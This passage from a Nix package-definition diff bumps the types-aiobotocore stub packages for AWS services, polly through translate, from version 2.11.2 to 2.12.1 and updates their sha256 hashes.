"polly" "2.11.2" "sha256-CrNLX+1TDawkCrBgmNqUbhJcbh208sKpfbSpS6dksPY="; + types-aiobotocore-polly = buildTypesAiobotocorePackage "polly" "2.12.1" "sha256-6thPshwvWCl4666WKAUyFL8JcNbvZ6mRHpvRSeZrvxE="; - types-aiobotocore-pricing = buildTypesAiobotocorePackage "pricing" "2.11.2" "sha256-sbiwfFkB6GDwkw38mTbKFis7SOYcM7lrC/sOzjCHi0A="; + types-aiobotocore-pricing = buildTypesAiobotocorePackage "pricing" "2.12.1" "sha256-2vFSQr2uFCWEOjBtmQjAWyKw85/NfKuDGKnu6Vfq85s="; - types-aiobotocore-privatenetworks = buildTypesAiobotocorePackage "privatenetworks" "2.11.2" "sha256-fHGSVacmVC4/mOaeiMhgJwcMz+x7njlFm8EesZnxdd0="; + types-aiobotocore-privatenetworks = buildTypesAiobotocorePackage "privatenetworks" "2.12.1" "sha256-NCiA+mnWkeS6li7ruHZ8k2UM2rpHWJbE0UohIDhGDko="; - types-aiobotocore-proton = buildTypesAiobotocorePackage "proton" "2.11.2" "sha256-4OlzYFr/xz603R6am4Mk4A2C/cGXOksSdxopm/2rhV4="; + types-aiobotocore-proton = buildTypesAiobotocorePackage "proton" "2.12.1" "sha256-2exlCIbq2xS+kvRR+LBEe0//Oit9wXhPxrITzASk6SI="; - types-aiobotocore-qldb = buildTypesAiobotocorePackage "qldb" "2.11.2" "sha256-4CvtgQH4KoYEUWzCYD/3aC1Ouo0XiOL8ByKCdFD+DPQ="; + types-aiobotocore-qldb = buildTypesAiobotocorePackage "qldb" "2.12.1" "sha256-C7JHRm/SnRWMCBMzcpmmByMtcsK9Ozwd/IauoKKoZag="; - types-aiobotocore-qldb-session = buildTypesAiobotocorePackage "qldb-session" "2.11.2" "sha256-ccTKJjTvCtPiK0Z+TLxFYOE+/zpLjkBaEcT7EtPw5IM="; + types-aiobotocore-qldb-session = buildTypesAiobotocorePackage "qldb-session" "2.12.1" "sha256-3xfvNRLpJD+eUH4yLzNSYYf2g9OLmgEAOP7VKu/eaho="; - types-aiobotocore-quicksight = buildTypesAiobotocorePackage "quicksight" "2.11.2" "sha256-Len2Z6UxFRlt4lzyNB7bMw3SO+mRqgBO5YHaz9N/4V4="; + types-aiobotocore-quicksight = buildTypesAiobotocorePackage "quicksight" "2.12.1" "sha256-BgO49MbWTu63gi8NoILgqOH7fnZmsSwCoxMNUBOzrvg="; - types-aiobotocore-ram = buildTypesAiobotocorePackage "ram" "2.11.2" "sha256-CcMrlDc5sbbjK0NLOQB7+Y7qaODQWz1NTIB6yYZB7OE="; + types-aiobotocore-ram = buildTypesAiobotocorePackage "ram" "2.12.1" "sha256-EXG6jgh2RWvjURXu0I4qQprATS3Ip35gEQK6MLhE6SU="; - types-aiobotocore-rbin = buildTypesAiobotocorePackage "rbin" "2.11.2" "sha256-/dvoqri/C9QzCddypXJXJYrhQCVHSn3S45VJBHeS+5k="; + types-aiobotocore-rbin = buildTypesAiobotocorePackage "rbin" "2.12.1" "sha256-WgPe6GjNL9F/VdQs4pp3xK0f5dyR23JZyfehm5I6sTo="; - types-aiobotocore-rds = buildTypesAiobotocorePackage "rds" "2.11.2" "sha256-qBj2alCz0Us1vUIlstWa++ePJgO7xYeE16Hlq2JRx1Q="; + types-aiobotocore-rds = buildTypesAiobotocorePackage "rds" "2.12.1" "sha256-lgeDWUKBZCxVJayyytTiYbQboTdRBvIu7/HvhO4Wqkc="; - types-aiobotocore-rds-data = buildTypesAiobotocorePackage "rds-data" "2.11.2" "sha256-Om3guoTpVeL7dvRt7D3p8B8ZkWjb3waQAeM89e0rpUQ="; + types-aiobotocore-rds-data = buildTypesAiobotocorePackage "rds-data" "2.12.1" "sha256-/m11lpU8mBO1DkvbN9hg090aCjTLrqaULpCBUnCadSk="; - types-aiobotocore-redshift = buildTypesAiobotocorePackage "redshift" "2.11.2" "sha256-b4hNZ77+lFUmFLqhowH/bOn4kSCuqvIxU18vj7jcFHI="; + types-aiobotocore-redshift = buildTypesAiobotocorePackage "redshift" "2.12.1" "sha256-/VL1Bzn27YKCL+Awdfg+4g+cg1ZD8Z9xvVS+jN91PU0="; - types-aiobotocore-redshift-data = buildTypesAiobotocorePackage "redshift-data" "2.11.2" "sha256-J96w8/9UdtRzbcWqw4E0S/FrknEKnTTxOm59Tcu2jvM="; + types-aiobotocore-redshift-data = buildTypesAiobotocorePackage "redshift-data" "2.12.1" "sha256-OUTaZTCSUJLzzBNoxxHDCn+LRodqeakEgteHIjfyM7s="; - types-aiobotocore-redshift-serverless = buildTypesAiobotocorePackage "redshift-serverless" "2.11.2" "sha256-XdoXh+IE82wywcCDY1bA5tr8dJbSNvXB5gIY9nLoPWo="; + types-aiobotocore-redshift-serverless = buildTypesAiobotocorePackage "redshift-serverless" "2.12.1" "sha256-nkRZzNd0KdBdb4pEbpr8oHAiAOzuMo8RNXJiKtTXT00="; - types-aiobotocore-rekognition = buildTypesAiobotocorePackage "rekognition" "2.11.2" "sha256-0ODtTavUgRNXUzK7bjVa86lYNoCn+iH64QAJN1cvc84="; + types-aiobotocore-rekognition = buildTypesAiobotocorePackage "rekognition" "2.12.1" "sha256-05PKIuZPVLdYoVeeDVYrhR6Y6YJq41Sm0zql3GMd2GE="; - types-aiobotocore-resiliencehub = buildTypesAiobotocorePackage "resiliencehub" "2.11.2" "sha256-abgoq7erXikE8KNMdRBdItI0/Kzapgg0BcDVjRbjBYU="; + types-aiobotocore-resiliencehub = buildTypesAiobotocorePackage "resiliencehub" "2.12.1" "sha256-BI7AQcnbbmA3jAE+weckSULbCLi7L+E6Bviwcp6nUTY="; - types-aiobotocore-resource-explorer-2 = buildTypesAiobotocorePackage "resource-explorer-2" "2.11.2" "sha256-xXj60XZQMUiHXETJGQjvpzd+I6A3isV6KLOz3d5qpto="; + types-aiobotocore-resource-explorer-2 = buildTypesAiobotocorePackage "resource-explorer-2" "2.12.1" "sha256-5QLkLGSEVy4WunpnwixrY7NC74G0qscsyRRonAiziuM="; - types-aiobotocore-resource-groups = buildTypesAiobotocorePackage "resource-groups" "2.11.2" "sha256-lw4MR2UKLdWQhpaeMnu1/q6bZMF7sPenQfeErKfWGxM="; + types-aiobotocore-resource-groups = buildTypesAiobotocorePackage "resource-groups" "2.12.1" "sha256-ulM+lDPXOSw//ATwgvHUwRN6mt4JCPxsI9kvlFeBW8g="; - types-aiobotocore-resourcegroupstaggingapi = buildTypesAiobotocorePackage "resourcegroupstaggingapi" "2.11.2" "sha256-QpVVzSgMUTww9Llo1WG6mn4BruNDStXhy6kNoPZR3s8="; + types-aiobotocore-resourcegroupstaggingapi = buildTypesAiobotocorePackage "resourcegroupstaggingapi" "2.12.1" "sha256-eNAIL3H4R2DeCcPD80gmgCPw6OajhHMfyAAYsLZ5qk0="; - types-aiobotocore-robomaker = buildTypesAiobotocorePackage "robomaker" "2.11.2" "sha256-RWKmf8SArQUMNYGF7e7dmYMkQIlpxuzKdZis4w/cKpg="; + types-aiobotocore-robomaker = buildTypesAiobotocorePackage "robomaker" "2.12.1" "sha256-mEDDY5dN90CuxIe48KECB4FnVikxO+5sGzb0HznEWgQ="; - types-aiobotocore-rolesanywhere = buildTypesAiobotocorePackage "rolesanywhere" "2.11.2" "sha256-M2FfcvPJenYY/WD8iH9foiVIRsFG9WKsMLOuPUnjs/U="; + types-aiobotocore-rolesanywhere = buildTypesAiobotocorePackage "rolesanywhere" "2.12.1" "sha256-ZrGHBUThGVUUmy/TJDyG3hjNXGkRqO5oQP8SkIyCCu0="; - types-aiobotocore-route53 = buildTypesAiobotocorePackage "route53" "2.11.2" "sha256-wes4LEtLv5ybE51iXxHQg18qCAm5sZ+vZGiXj8bK3yk="; + types-aiobotocore-route53 = buildTypesAiobotocorePackage "route53" "2.12.1" "sha256-6qYcsh/D1+JhAAKCCpfsi8hOQndu6iLKQIAX0/j2UUE="; - types-aiobotocore-route53-recovery-cluster = buildTypesAiobotocorePackage "route53-recovery-cluster" "2.11.2" "sha256-xcGxuzmb8ZG56tp352OVDRn81EjSjPySxDhcg/n0B3A="; + types-aiobotocore-route53-recovery-cluster = buildTypesAiobotocorePackage "route53-recovery-cluster" "2.12.1" "sha256-0PlKImcsyHMot9P8yjVLo6gt/pMr+xdMJTGoW5lcdqQ="; - types-aiobotocore-route53-recovery-control-config = buildTypesAiobotocorePackage "route53-recovery-control-config" "2.11.2" "sha256-z7IdwFRh8yaTv/1BMUdCOmUueSIilBB201OCiAFe+Kw="; + types-aiobotocore-route53-recovery-control-config = buildTypesAiobotocorePackage "route53-recovery-control-config" "2.12.1" "sha256-f+9lv8WRb723cgw2339xAXv6H9DSqTV3He2rOSfdLZs="; - types-aiobotocore-route53-recovery-readiness = buildTypesAiobotocorePackage "route53-recovery-readiness" "2.11.2" "sha256-W1q61V0sPYF1XD109kf1uKgOLggvTEtbtDA7xaWDFB0="; + types-aiobotocore-route53-recovery-readiness = buildTypesAiobotocorePackage "route53-recovery-readiness" "2.12.1" "sha256-fYyZULP5ZPGa29XG81sfeLzJyM2a01fSzpasDmKQKaY="; - types-aiobotocore-route53domains = buildTypesAiobotocorePackage "route53domains" "2.11.2" "sha256-xeuBRVcg+Fn8/lYTOZA3Le7LbpB9jrCCB2H8nQIq+4A="; + types-aiobotocore-route53domains = buildTypesAiobotocorePackage "route53domains" "2.12.1" "sha256-jyZnn8+Z/ca81BFLz9STnRT5rVdgRbovqesUWFmzxSY="; - types-aiobotocore-route53resolver = buildTypesAiobotocorePackage "route53resolver" "2.11.2" "sha256-yn0pE63A8Pzgx3NhSVKqlTFIgKFMklw+XWHTxKybwc4="; + types-aiobotocore-route53resolver = buildTypesAiobotocorePackage "route53resolver" "2.12.1" "sha256-chqu+C8HGB0P8KsfttB1oKnyaZY3GUcFgeikJcWeFo8="; - types-aiobotocore-rum = buildTypesAiobotocorePackage "rum" "2.11.2" "sha256-uxY9FB+BVi7aC7reo2FsNEELX2bdgg+/IY6qxUz7U8c="; + types-aiobotocore-rum = buildTypesAiobotocorePackage "rum" "2.12.1" "sha256-x2b5L14Zx3XFSLOC9UPbRpOAiFd7jzd9UrLA9b+5+Ww="; - types-aiobotocore-s3 = buildTypesAiobotocorePackage "s3" "2.11.2" "sha256-n2hn56rUVBuS5qNep7junV5LGZWGLdBt4EVkSORg02s="; + types-aiobotocore-s3 = buildTypesAiobotocorePackage "s3" "2.12.1" "sha256-sHbgvSbUD55nQ46ufvPpngzCt0O4zIIDd8FlXH8TGF8="; - types-aiobotocore-s3control = buildTypesAiobotocorePackage "s3control" "2.11.2" "sha256-PNo0W4KDRwUyzg+aSxoocYPqllG4cMAB5SEsj5mt3lk="; + types-aiobotocore-s3control = buildTypesAiobotocorePackage "s3control" "2.12.1" "sha256-p4AG4soN/NYbh1EPRc9DGtNtG89QRlarqVCPrKQcRqE="; - types-aiobotocore-s3outposts = buildTypesAiobotocorePackage "s3outposts" "2.11.2" "sha256-hhqdwUHmEAPGQuPnhLJtDdHaIYb/sv/U6UCEg+CKkyA="; + types-aiobotocore-s3outposts = buildTypesAiobotocorePackage "s3outposts" "2.12.1" "sha256-EGR13xcf88tYBn5lbmrAQ2cxO6xDiFvuGA+xGp/o24Y="; - types-aiobotocore-sagemaker = buildTypesAiobotocorePackage "sagemaker" "2.11.2" "sha256-O9TbCPu6aHsK0NAmYVCZjy4G71EhlgzX24behEGU7eI="; + types-aiobotocore-sagemaker = buildTypesAiobotocorePackage "sagemaker" "2.12.1" "sha256-YmBdTNil9ghlUrcr6Ej8GfwFaICQ+QZokuJk5iaHtY4="; - types-aiobotocore-sagemaker-a2i-runtime = buildTypesAiobotocorePackage "sagemaker-a2i-runtime" "2.11.2" "sha256-N1RAqfBhqqw4q8G8xJPlSQ69ww7Vaz3ySafwi2oBrB8="; + types-aiobotocore-sagemaker-a2i-runtime = buildTypesAiobotocorePackage "sagemaker-a2i-runtime" "2.12.1" "sha256-+fLY+MOh3P3/N7tVDGYZDlB7IKKMjxCdqje6apUGkQs="; - types-aiobotocore-sagemaker-edge = buildTypesAiobotocorePackage "sagemaker-edge" "2.11.2" "sha256-dHZZF5L+bVPDYFLXWHxSJjNAfKus2E2sUQlOXLp0TPk="; + types-aiobotocore-sagemaker-edge = buildTypesAiobotocorePackage "sagemaker-edge" "2.12.1" "sha256-izwrksagyX2mbDR1w+9ErrqrzHC1nnlIqXgE9++fGJI="; - types-aiobotocore-sagemaker-featurestore-runtime = buildTypesAiobotocorePackage "sagemaker-featurestore-runtime" "2.11.2" "sha256-nTfFkbwnKM2flJfCIU+An2eDDrMkyjrayJ7V1zAFVoE="; + types-aiobotocore-sagemaker-featurestore-runtime = buildTypesAiobotocorePackage "sagemaker-featurestore-runtime" "2.12.1" "sha256-Kt8weJY6HFekwsF+de0VUqwkpGj+j+4GH5/Ct6ggBXc="; - types-aiobotocore-sagemaker-geospatial = buildTypesAiobotocorePackage "sagemaker-geospatial" "2.11.2" "sha256-8LYpcjMnPEOX7qbQ6I8zbs3/UoIhKEnvNC5qasqsqcc="; + types-aiobotocore-sagemaker-geospatial = buildTypesAiobotocorePackage "sagemaker-geospatial" "2.12.1" "sha256-mdXNrA1f96TxH5MRUsr1aadj20R0tqQ0kwmawaskZX8="; - types-aiobotocore-sagemaker-metrics = buildTypesAiobotocorePackage "sagemaker-metrics" "2.11.2" "sha256-WM2MksGubVpLG73vK107MUh7tJcvBr0hiZ/669yPOq0="; + types-aiobotocore-sagemaker-metrics = buildTypesAiobotocorePackage "sagemaker-metrics" "2.12.1" "sha256-VlaupOFkaHjjp1+Hjbmo8QHl/2tItZYg8t4WORUXGzg="; - types-aiobotocore-sagemaker-runtime = buildTypesAiobotocorePackage "sagemaker-runtime" "2.11.2" "sha256-/xKAA15x8xpMCh7kOi4kWuwaXulLRpMcnyzVPMH+Gh8="; + types-aiobotocore-sagemaker-runtime = buildTypesAiobotocorePackage "sagemaker-runtime" "2.12.1" "sha256-kGep+vJ4bqzTURgVEc3QESgmvBZJizk7SDWf2ELHPKM="; - types-aiobotocore-savingsplans = buildTypesAiobotocorePackage "savingsplans" "2.11.2" "sha256-he01wy13rhnE2xzXkJ3twOZsnQ/XfzMG74QP9Nyuj1o="; + types-aiobotocore-savingsplans = buildTypesAiobotocorePackage "savingsplans" "2.12.1" "sha256-sN2ihAQiOi6Rp2Nl1HyETUZxz/B09IH4yLUGEOG2khw="; - types-aiobotocore-scheduler = buildTypesAiobotocorePackage "scheduler" "2.11.2" "sha256-U2zesi+tt47KzbpdI94/S3ypcUUSWFUZNQRUcHRHWWY="; + types-aiobotocore-scheduler = buildTypesAiobotocorePackage "scheduler" "2.12.1" "sha256-7Yn5P3j5URK4oiEgyokKEazP9zRan5laX4pyXoLlCGM="; - types-aiobotocore-schemas = buildTypesAiobotocorePackage "schemas" "2.11.2" "sha256-o+l4pAMZDwmVFnpArvKHNRB6zUC/AYWqrRsNZBgrV7Y="; + types-aiobotocore-schemas = buildTypesAiobotocorePackage "schemas" "2.12.1" "sha256-sN7ixP27dN1ojaw/W3I2/VJFx5snuWEpJ1LugHx5tQs="; - types-aiobotocore-sdb = buildTypesAiobotocorePackage "sdb" "2.11.2" "sha256-IX8mZcFKSvfgCI+iXq6hByFwPBRRL8rqxr42XgPXZ8c="; + types-aiobotocore-sdb = buildTypesAiobotocorePackage "sdb" "2.12.1" "sha256-YwurPoYxG2ldprgCtLrn8jsHDAuqzxgOk+rBIrYdI8o="; - types-aiobotocore-secretsmanager = buildTypesAiobotocorePackage "secretsmanager" "2.11.2" "sha256-Op15jR7QepqLkWxFG7dMrre904OC3N9viwzChS2bNno="; + types-aiobotocore-secretsmanager = buildTypesAiobotocorePackage "secretsmanager" "2.12.1" "sha256-DhKCgIIcxNIP2gJRZVA6ITP5k/wbI73JEpGFVNbriEo="; - types-aiobotocore-securityhub = buildTypesAiobotocorePackage "securityhub" "2.11.2" "sha256-Rgc7+yij/CyhxOK/2hOQIVzrLW4lmRa+0eGxlWiIf38="; + types-aiobotocore-securityhub = buildTypesAiobotocorePackage "securityhub" "2.12.1" "sha256-WDKxtbB1RZEG5eJbIKBddS8yX2YkbfzW6IabYivCpy4="; - types-aiobotocore-securitylake = buildTypesAiobotocorePackage "securitylake" "2.11.2" "sha256-Hv6L2fWR7dHjhU3Oqm/sI18a/12DYJzPsCcGKlXCm80="; + types-aiobotocore-securitylake = buildTypesAiobotocorePackage "securitylake" "2.12.1" "sha256-TG+xWDnQmXp55RcTP3GYIKdGUh9sLcU+AbpS+YnI0T4="; - types-aiobotocore-serverlessrepo = buildTypesAiobotocorePackage "serverlessrepo" "2.11.2" "sha256-k4Xsag9IM9/kyv7TM9EH360yTC9mChJgxLS5U8MHRA8="; + types-aiobotocore-serverlessrepo = buildTypesAiobotocorePackage "serverlessrepo" "2.12.1" "sha256-NEdGr3+zYFsxgL9xPyZqllQm9q5U3Y8Fq4vnjE9VQDk="; - types-aiobotocore-service-quotas = buildTypesAiobotocorePackage "service-quotas" "2.11.2" "sha256-8XfZoANc59/sIqKsSMjvk8T41/BW8xX17ACjf1pXxyA="; + types-aiobotocore-service-quotas = buildTypesAiobotocorePackage "service-quotas" "2.12.1" "sha256-ZYzfFp+HQZCzBKG2Uaar44IO6rk3rPX8D00vAh5drsQ="; - types-aiobotocore-servicecatalog = buildTypesAiobotocorePackage "servicecatalog" "2.11.2" "sha256-7sLVYb2ZzdiVsqUOytiPt/b8GiW9qA2un4n2LORy4gY="; + types-aiobotocore-servicecatalog = buildTypesAiobotocorePackage "servicecatalog" "2.12.1" "sha256-B1nyXU/z+ZR7MaPqqAIER3g+XQJDx37PTfvTHxSzHkQ="; - types-aiobotocore-servicecatalog-appregistry = buildTypesAiobotocorePackage "servicecatalog-appregistry" "2.11.2" "sha256-k5jGzYtjbnV/ZaJMQE/lbgmhYxF5k9Quk7/QaTJDjrw="; + types-aiobotocore-servicecatalog-appregistry = buildTypesAiobotocorePackage "servicecatalog-appregistry" "2.12.1" "sha256-kQaEpE5fbWumtroUFNuyKrmXI7MmoNmJhWEh4ve1sYA="; - types-aiobotocore-servicediscovery = buildTypesAiobotocorePackage "servicediscovery" "2.11.2" "sha256-mJdB9fehiTA35dA766QlQyTkrvS4J4s8pCBq3cJcsxw="; + types-aiobotocore-servicediscovery = buildTypesAiobotocorePackage "servicediscovery" "2.12.1" "sha256-V6TD1sOtO5AkbBrKVXr5dc2Ym7Mgz/dkm7c4rBNZOzw="; - types-aiobotocore-ses = buildTypesAiobotocorePackage "ses" "2.11.2" "sha256-iMgv2U0XPdil6xt4/3j1ZZGJGylEz8qDYzzvTP4N6n4="; + types-aiobotocore-ses = buildTypesAiobotocorePackage "ses" "2.12.1" "sha256-agdBiB1VRs38GxuHsBkHByWbBqrAt+YZNTfBFDIhgLE="; - types-aiobotocore-sesv2 = buildTypesAiobotocorePackage "sesv2" "2.11.2" "sha256-2eN+bo1BWU63a6xCexpVCZvblcCRdPlGf35D8v6A3Xg="; + types-aiobotocore-sesv2 = buildTypesAiobotocorePackage "sesv2" "2.12.1" "sha256-ziNzhAspWnYDGxJfw5JPBf6FY0of0q2KddVZA4n1Trg="; - types-aiobotocore-shield = buildTypesAiobotocorePackage "shield" "2.11.2" "sha256-i5WHQ5wHvYdNpNJZWgAWAAD6mZPl/RPEOSh66l7PSCA="; + types-aiobotocore-shield = buildTypesAiobotocorePackage "shield" "2.12.1" "sha256-Z289uZBMaexBmuG2aEfUWOy145jJC8ZHnaKb7lhjL7o="; - types-aiobotocore-signer = buildTypesAiobotocorePackage "signer" "2.11.2" "sha256-v1FG59Mjxefyp4PpeLGfgHlrzVrUGUquqBSyxEM1OiU="; + types-aiobotocore-signer = buildTypesAiobotocorePackage "signer" "2.12.1" "sha256-MDoK/Qnvo6Y+WsVFSyKt+irzFC/HgWNAHkZgj3LSp4w="; - types-aiobotocore-simspaceweaver = buildTypesAiobotocorePackage "simspaceweaver" "2.11.2" "sha256-7UnTnGGGAfpPmU+m91R2n9AZinLoPFY/nqAjopnwhiU="; + types-aiobotocore-simspaceweaver = buildTypesAiobotocorePackage "simspaceweaver" "2.12.1" "sha256-tpzwKKdv8G0E0H3+wrANs50K0mM/lyqcXeTprBQeVNs="; - types-aiobotocore-sms = buildTypesAiobotocorePackage "sms" "2.11.2" "sha256-s/DbyfwPZ0qNvYaMWxuAwF9HqKihUjELdKPJ71DB1C4="; + types-aiobotocore-sms = buildTypesAiobotocorePackage "sms" "2.12.1" "sha256-mr5ntl7rZ9Nopql41qqs9n01bYZ2aW/v+/ehZKsQ+kI="; - types-aiobotocore-sms-voice = buildTypesAiobotocorePackage "sms-voice" "2.11.2" "sha256-k0ujcxl1uupuVNDXDc53WTb3buAHziPHDG662LrP36s="; + types-aiobotocore-sms-voice = buildTypesAiobotocorePackage "sms-voice" "2.12.1" "sha256-BGilumzkB01iMg0a833gBvT+LhkKVXncH/klno1Wc7g="; - types-aiobotocore-snow-device-management = buildTypesAiobotocorePackage "snow-device-management" "2.11.2" "sha256-jCEaxTTobMmZBNAFauI0Oh0/gvhJZXyrbgvsIofmrKY="; + types-aiobotocore-snow-device-management = buildTypesAiobotocorePackage "snow-device-management" "2.12.1" "sha256-en4h9jzuPw1JoLLFIUVAru46YJeu9ThPYkCzcu9LyRw="; - types-aiobotocore-snowball = buildTypesAiobotocorePackage "snowball" "2.11.2" "sha256-f5RZLaBzcikIZ77Ei1JZZQuaKy2M+RkRpeNhsswSunU="; + types-aiobotocore-snowball = buildTypesAiobotocorePackage "snowball" "2.12.1" "sha256-F8WStkw9CRkTxQXST7JKCHvJV+2DleR6zBmZmPQeCZg="; - types-aiobotocore-sns = buildTypesAiobotocorePackage "sns" "2.11.2" "sha256-bja/dcxw3OOeCfFgpHK+6gnivYoqAzmqt2IetHLgzws="; + types-aiobotocore-sns = buildTypesAiobotocorePackage "sns" "2.12.1" "sha256-bEFE0arHc/U8LmXCiRAZkFHNWsGFb069DSseHdBJA1Y="; - types-aiobotocore-sqs = buildTypesAiobotocorePackage "sqs" "2.11.2" "sha256-9fVYF2qfjM5DYWZG2hbeg/XPz+K8tyGhzSxY8eW0mHI="; + types-aiobotocore-sqs = buildTypesAiobotocorePackage "sqs" "2.12.1" "sha256-B106hChye7naXa6VvefcfDICI1rU1Td5K7zxP9vAofU="; - types-aiobotocore-ssm = buildTypesAiobotocorePackage "ssm" "2.11.2" "sha256-yztJVMvlWsZu9L+GzxTPdM2lzTKTW36T1OX0WmHgoBA="; + types-aiobotocore-ssm = buildTypesAiobotocorePackage "ssm" "2.12.1" "sha256-f1hVxTtSmljYA3p/wNltr4wMlKT94yzP8zFIq8fHIng="; - types-aiobotocore-ssm-contacts = buildTypesAiobotocorePackage "ssm-contacts" "2.11.2" "sha256-0o9kuyEE7rzzgA4Q75udMRUADKbW+rLgmvIGCVJpJhA="; + types-aiobotocore-ssm-contacts = buildTypesAiobotocorePackage "ssm-contacts" "2.12.1" "sha256-zhJooXRPSJoVNLRTcKMgnmGuDFvol2LCHKesveS2onI="; - types-aiobotocore-ssm-incidents = buildTypesAiobotocorePackage "ssm-incidents" "2.11.2" "sha256-89yICjzgxAlJ+ljpfRsCwf4RITWX9y+alCdtTBeLhkw="; + types-aiobotocore-ssm-incidents = buildTypesAiobotocorePackage "ssm-incidents" "2.12.1" "sha256-bvkyOZP9zuExuWV7ZHkV/YPzTAcl59L69TMRTkKtDKo="; - types-aiobotocore-ssm-sap = buildTypesAiobotocorePackage "ssm-sap" "2.11.2" "sha256-slJsfHBHVv+vPSfqNu/C9zl45SDX5H7K9rn+YVCca5Q="; + types-aiobotocore-ssm-sap = buildTypesAiobotocorePackage "ssm-sap" "2.12.1" "sha256-YjxpS0Tn+waraHNSDKSm/Ig4axeJmUHRR9wKUh9/w8w="; - types-aiobotocore-sso = buildTypesAiobotocorePackage "sso" "2.11.2" "sha256-ZAbFyBaGfQIRoMQkvnbViwShuvtIgTPmGZjScm1F7Bw="; + types-aiobotocore-sso = buildTypesAiobotocorePackage "sso" "2.12.1" "sha256-pBNQzTTu3DXWoAMOZHoZwvWRZetNOEwEN6XlX5b3cTc="; - types-aiobotocore-sso-admin = buildTypesAiobotocorePackage "sso-admin" "2.11.2" "sha256-DUOiPjmvmUL498QOrn4GBhnEw2GcFrOaj6YW5rh5i3M="; + types-aiobotocore-sso-admin = buildTypesAiobotocorePackage "sso-admin" "2.12.1" "sha256-wBv/pIRqsPxJONtGu782zxSAIDnAM6raAU8XFKoHwTQ="; - types-aiobotocore-sso-oidc = buildTypesAiobotocorePackage "sso-oidc" "2.11.2" "sha256-RmyyuORVrE0Qwl8yna/JlOXIrHYtyBVJPVpU2g0DDxY="; + types-aiobotocore-sso-oidc = buildTypesAiobotocorePackage "sso-oidc" "2.12.1" "sha256-HdZz0vbe+M0q5lLxArKy/k447cc2VZDByeLBkg/inl4="; - types-aiobotocore-stepfunctions = buildTypesAiobotocorePackage "stepfunctions" "2.11.2" "sha256-+w4WT5xRSShrvyKI9LpZlnBWwk52XZDM8EIx20DPfxk="; + types-aiobotocore-stepfunctions = buildTypesAiobotocorePackage "stepfunctions" "2.12.1" "sha256-J5UI5f2WWT+nhl6o0d2DkCVZKOwg5O29VbNi26RfUQ0="; - types-aiobotocore-storagegateway = buildTypesAiobotocorePackage "storagegateway" "2.11.2" "sha256-H3tINfz/GO514kayygBZ8ucyeEDfCUxObyqqKJFDIrs="; + types-aiobotocore-storagegateway = buildTypesAiobotocorePackage "storagegateway" "2.12.1" "sha256-p7ubgOcj4xkB7UcU3OUVMgzPzbLQTYcB0hbh/3KZqrs="; - types-aiobotocore-sts = buildTypesAiobotocorePackage "sts" "2.11.2" "sha256-uzhkXmUdnXzHRTyUj+l6pskEJJGG/rSUtnK3GML7nCk="; + types-aiobotocore-sts = buildTypesAiobotocorePackage "sts" "2.12.1" "sha256-D/+jqiERytxUvDGxxxVBZnBQae/csg4GpRA2YAiigno="; - types-aiobotocore-support = buildTypesAiobotocorePackage "support" "2.11.2" "sha256-i0rmU4YdFuZyuqyzFd2BCAKokXWMVVqOTN8Jm8cEvEc="; + types-aiobotocore-support = buildTypesAiobotocorePackage "support" "2.12.1" "sha256-7QN7ZamHv/C67SrlPWDi7yZ51QGbIr896PZ1FQ4kEuU="; - types-aiobotocore-support-app = buildTypesAiobotocorePackage "support-app" "2.11.2" "sha256-Duti4k7lA0jovcu8q+kv6HQWaMeZtKxN2wGScqNw+hc="; + types-aiobotocore-support-app = buildTypesAiobotocorePackage "support-app" "2.12.1" "sha256-GOdOna5aa3inSl+Q/vGPBJf3ULXmMxfabpHVvYL3XIA="; - types-aiobotocore-swf = buildTypesAiobotocorePackage "swf" "2.11.2" "sha256-g29BPcFbEGwBs7qUKmJOBrhgcI7iGOglr3SJQ/HHe54="; + types-aiobotocore-swf = buildTypesAiobotocorePackage "swf" "2.12.1" "sha256-BnNcpeNmYWlmBUUgDtOczwDp/BGrjLg2+QMNJEyiCmU="; - types-aiobotocore-synthetics = buildTypesAiobotocorePackage "synthetics" "2.11.2" "sha256-h1FCzj5+IplgFJ0SpsY5okNURSpuC4zy4qAlhUyt7sE="; + types-aiobotocore-synthetics = buildTypesAiobotocorePackage "synthetics" "2.12.1" "sha256-kiEkHVz9U9svw+IYstUcle1oCBSs1b2cU9vBHaY/H0c="; - types-aiobotocore-textract = buildTypesAiobotocorePackage "textract" "2.11.2" "sha256-PzmzE1Mgka+bM2E4qwPS3N3lOz3ljYdI78KZ4flr6ac="; + types-aiobotocore-textract = buildTypesAiobotocorePackage "textract" "2.12.1" "sha256-O95r0QCGOW2RbU1zlv4dn/1OuP/x/KFyO3TD2YwdTA8="; - types-aiobotocore-timestream-query = buildTypesAiobotocorePackage "timestream-query" "2.11.2" "sha256-MK4YicO38uuJsHuEL6NZwh/qo6UANVK19sodjcJHNOs="; + types-aiobotocore-timestream-query = buildTypesAiobotocorePackage "timestream-query" "2.12.1" "sha256-mp2zgiLO/bFBY1nhsx0nocKcerRnBzZyaONBlJ9OJk4="; - types-aiobotocore-timestream-write = buildTypesAiobotocorePackage "timestream-write" "2.11.2" "sha256-UBp0FEr4ufUQ2WvMEg1Rv1OgRdtzk6VoKJ56VHlcAyo="; + types-aiobotocore-timestream-write = buildTypesAiobotocorePackage "timestream-write" "2.12.1" "sha256-N7FQ85Y/vr8kam/ESgTxK3v1nMnMl17wYZkcK8kOOyI="; - types-aiobotocore-tnb = buildTypesAiobotocorePackage "tnb" "2.11.2" "sha256-ZnTjfCvcvshwPK0bBD/Ck6lGiy8+9T5cvFqPv2BnHOc="; + types-aiobotocore-tnb = buildTypesAiobotocorePackage "tnb" "2.12.1" "sha256-bB9gINmvd69sbfqeJ5cuqhVlA52BFA26rB7c+AWXNZg="; - types-aiobotocore-transcribe = buildTypesAiobotocorePackage "transcribe" "2.11.2" "sha256-GspypGik1nJBWksXZpID2uIP8zgiZnNidLC4uxWd4Uo="; + types-aiobotocore-transcribe = buildTypesAiobotocorePackage "transcribe" "2.12.1" "sha256-ziN4VGQoNThnfC1Pg7thxMFzfvTE2xRGtk3f0OLRiDc="; - types-aiobotocore-transfer = buildTypesAiobotocorePackage "transfer" "2.11.2" "sha256-wHO9PVHgTSDRiYbKxlkBCIhLB/gt1LtLWjXAG1eViEI="; + types-aiobotocore-transfer = buildTypesAiobotocorePackage "transfer" "2.12.1" "sha256-Ru3p8rngnhuTytJcVycJo2w0G8hMfCWKk7bzRAU534Q="; - types-aiobotocore-translate = buildTypesAiobotocorePackage "translate" "2.11.2" "sha256-I1b0qD9Trk6Dx2lKr8ERD4cQA+VKvBsmdCRJeIGEqhs="; + types-aiobotocore-translate = buildTypesAiobotocorePackage "translate" "2.12.1" 